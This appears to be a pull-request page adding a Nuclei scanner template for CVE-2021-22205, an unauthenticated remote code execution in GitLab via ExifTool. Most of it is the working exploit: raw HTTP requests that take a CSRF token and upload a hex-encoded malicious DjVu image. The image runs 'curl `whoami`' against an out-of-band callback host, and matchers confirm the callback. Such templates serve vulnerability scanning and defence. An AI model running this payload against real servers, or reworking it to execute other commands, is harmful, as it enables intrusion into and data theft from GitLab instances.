Merge pull request #3012 from projectdiscovery/CVE-2021-22205
Added GitLab CE/EE Unauthenticated RCE using ExifTool (CVE-2021-22205)patch-1
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id: CVE-2021-22205
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info:
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name: GitLab CE/EE Unauthenticated RCE using ExifTool
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author: pdteam
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severity: critical
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description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
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reference:
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- https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
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- https://hackerone.com/reports/1154542
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22205
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tags: cve,cve2021,gitlab,rce,oast
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 9.90
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cve-id: CVE-2021-22205
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cwe-id: CWE-20
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requests:
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- raw:
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- |
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GET /users/sign_in HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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- |
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POST /uploads/user HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
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X-CSRF-Token: {{csrf-token}}
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{{hex_decode('0D0A2D2D2D2D2D2D5765624B6974466F726D426F756E64617279494D76336D7852673539546B465358350D0A436F6E74656E742D446973706F736974696F6E3A20666F726D2D646174613B206E616D653D2266696C65223B2066696C656E616D653D22746573742E6A7067220D0A436F6E74656E742D547970653A20696D6167652F6A7065670D0A0D0A41542654464F524D000003AF444A564D4449524D0000002E81000200000046000000ACFFFFDEBF992021C8914EEB0C071FD2DA88E86BE6440F2C7102EE49D36E95BDA2C3223F464F524D0000005E444A5655494E464F0000000A00080008180064001600494E434C0000000F7368617265645F616E6E6F2E696666004247343400000011004A0102000800088AE6E1B137D97F2A89004247343400000004010FF99F4247343400000002020A464F524D00000307444A5649414E546100000150286D657461646174610A0928436F7079726967687420225C0A22202E2071787B')}}curl `whoami`.{{interactsh-url}}{{hex_decode('7D202E205C0A2220622022292029202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020200A0D0A2D2D2D2D2D2D5765624B6974466F726D426F756E64617279494D76336D7852673539546B465358352D2D0D0A')}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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words:
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- 'Failed to process image'
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: status
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status:
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- 422
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extractors:
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- type: regex
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name: csrf-token
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internal: true
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group: 1
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regex:
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- 'csrf-token" content="(.*?)" />\n\n<meta'
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- type: regex
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name: whoami
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part: interactsh_request
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group: 1
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regex:
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- '([a-z0-9]+)\.([a-z0-9]+)\.interactsh\.com'
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